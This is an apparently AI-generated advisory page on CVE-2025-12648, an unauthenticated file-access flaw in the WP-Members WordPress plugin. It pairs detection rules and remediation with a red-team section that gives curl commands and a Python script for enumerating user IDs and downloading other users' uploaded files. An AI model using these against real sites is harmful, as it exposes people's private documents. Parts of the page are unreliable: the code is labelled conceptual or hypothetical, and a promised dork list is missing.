CVE-2025-12648
Executive Summary
CVE-2025-12648 is a vulnerability in the WP-Members Membership Plugin for WordPress, affecting versions up to and including 3.5.4.4. The plugin stores user-uploaded files in predictable directories under wp-content/uploads/wpmembers/user_files/<user_id>/ without implementing proper access controls beyond basic directory listing protection (.htaccess with Options -Indexes). This allows unauthenticated attackers to directly access and download sensitive documents uploaded by site users via direct URL access, provided they can guess or enumerate user IDs and filenames.
The vulnerability is classified as CWE-552: Files or Directories Accessible to External Parties. The CVSS v3.1 score is 5.3 (Medium), with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the risk remains significant for sites storing sensitive user documents.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors forking or distributing modified versions with backdoors. Administrators should verify plugin integrity via checksums and monitor for unauthorized updates.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
- Confidentiality (C): Low (L) – Limited to file access.
- Integrity (I): None (N) – No file modification.
- Availability (A): None (N) – No denial of service.
Threat Level: Medium. While the CVSS score is 5.3, the actual risk depends on the sensitivity of uploaded files. For sites handling PII, financial documents, or medical records, the impact could be severe.
Deep Dive & Mechanics
The vulnerability stems from the plugin's file storage mechanism. When a user uploads a file (e.g., via a membership form), the plugin stores it in:
wp-content/uploads/wpmembers/user_files/<user_id>/<filename>
The only protection is an .htaccess file with Options -Indexes, which prevents directory listing but does not restrict direct file access. An attacker can enumerate user IDs (often sequential integers) and guess filenames (e.g., document.pdf, photo.jpg) to download files.
Attack Flow:
- Attacker identifies a WordPress site using WP-Members (e.g., via Shodan or plugin detection).
- Attacker enumerates user IDs (e.g., 1, 2, 3, ...) using techniques like user enumeration via REST API or brute-force.
- Attacker constructs URLs like:
https://target.com/wp-content/uploads/wpmembers/user_files/1/document.pdfhttps://target.com/wp-content/uploads/wpmembers/user_files/2/photo.jpg
- If the file exists, it is served directly without authentication.
Root Cause: The plugin relies on directory listing protection instead of implementing proper access control (e.g., checking user session or capability before serving files).
Vulnerable vs. Patched Code
Vulnerable Code (<= 3.5.4.4):
The plugin likely uses a function like wpmembers_upload_dir() to define the upload path, but does not include any access control checks when serving files. The .htaccess file only prevents directory listing.
// Example vulnerable code (conceptual)
function wpmembers_upload_dir( $user_id ) {
$upload_dir = wp_upload_dir();
return $upload_dir['basedir'] . '/wpmembers/user_files/' . $user_id;
}
// No access control on file serving
Patched Code (Hypothetical): A proper patch would implement a download handler that checks user authentication and capabilities before serving files.
// Example patched code (conceptual)
function wpmembers_serve_file( $user_id, $filename ) {
if ( ! is_user_logged_in() || get_current_user_id() != $user_id ) {
wp_die( 'Unauthorized', 403 );
}
$file_path = wpmembers_upload_dir( $user_id ) . '/' . $filename;
if ( file_exists( $file_path ) ) {
header( 'Content-Type: ' . mime_content_type( $file_path ) );
readfile( $file_path );
exit;
}
}
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress site with WP-Members plugin <= 3.5.4.4.
- At least one user who has uploaded a file.
Steps:
- Enumerate User IDs: Use WordPress REST API or brute-force to find valid user IDs.
curl -s https://target.com/wp-json/wp/v2/users | jq '.[].id' - Guess Filenames: Common filenames include
document.pdf,photo.jpg,resume.pdf,id_card.jpg. - Download Files:
curl -O https://target.com/wp-content/uploads/wpmembers/user_files/1/document.pdf
Automated Exploit (Python):
import requests
import sys
target = sys.argv[1]
user_id_start = int(sys.argv[2])
user_id_end = int(sys.argv[3])
filenames = ['document.pdf', 'photo.jpg', 'resume.pdf']
for uid in range(user_id_start, user_id_end + 1):
for fname in filenames:
url = f"{target}/wp-content/uploads/wpmembers/user_files/{uid}/{fname}"
r = requests.get(url)
if r.status_code == 200:
print(f"[+] Found: {url}")
with open(f"{uid}_{fname}", "wb") as f:
f.write(r.content)
Blue Team (Defensive)
Detection:
- Monitor access logs for patterns like
/wp-content/uploads/wpmembers/user_files/with sequential user IDs. - Alert on multiple 404/200 responses to non-existent/existent files in that directory.
Prevention:
- Implement a custom download handler that checks authentication.
- Use
.htaccessto deny all access to the upload directory and serve files via PHP. - Rename files to random hashes to prevent guessing.
Lab Setup:
- Install WordPress and WP-Members plugin (v3.5.4.4).
- Create a test user and upload a sample file.
- Attempt to access the file directly via URL.
- Verify the vulnerability.
Indicators of Compromise (IOCs)
- URL Patterns:
/wp-content/uploads/wpmembers/user_files/<integer>/<filename>
- Log Entries:
- Multiple GET requests to
/wp-content/uploads/wpmembers/user_files/with sequential user IDs. - HTTP 200 responses for files in that directory from unauthenticated IPs.
- Multiple GET requests to
- File System:
- Presence of
.htaccesswithOptions -Indexesinwp-content/uploads/wpmembers/user_files/.
- Presence of
- Network:
- Outbound connections from attacker IPs to the target site with patterns matching the above URLs.
Detection Engineering
YARA Rule
rule CVE_2025_12648_WP_Members_File_Access {
meta:
description = "Detects attempts to exploit CVE-2025-12648 by accessing WP-Members user files"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-12648"
strings:
$url_pattern = /\/wp-content\/uploads\/wpmembers\/user_files\/\d+\/.+/
$htaccess = "Options -Indexes"
condition:
$url_pattern or $htaccess
}
Sigma Rule
title: CVE-2025-12648 WP-Members Unauthorized File Access
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects direct access to WP-Members user upload directories
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-stem|contains: "/wp-content/uploads/wpmembers/user_files/"
sc-status: 200
condition: selection
falsepositives:
- Legitimate file access by authenticated users (if any)
level: medium
Suricata Rule
alert http any any -> $HOME_NET any (
msg:"CVE-2025-12648 WP-Members Unauthorized File Access Attempt";
flow:to_server;
content:"/wp-content/uploads/wpmembers/user_files/"; http_uri;
pcre:"/\/wp-content\/uploads\/wpmembers\/user_files\/\d+\//";
classtype:attempted-recon;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable file uploads in WP-Members settings until a patch is available.
- Implement a custom download handler that checks user authentication before serving files.
- Add
.htaccessrules to deny all access to the upload directory:<Directory "wp-content/uploads/wpmembers/user_files/"> Require all denied </Directory> - Rename uploaded files to random hashes to prevent guessing.
Long-term Fix:
- Monitor the WP-Members plugin repository for an official patch.
- Consider switching to a more secure membership plugin that implements proper access controls.
Workaround:
- Use a WordPress security plugin (e.g., Wordfence) to block direct access to the upload directory.
- Implement a reverse proxy rule to restrict access to the directory.
Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.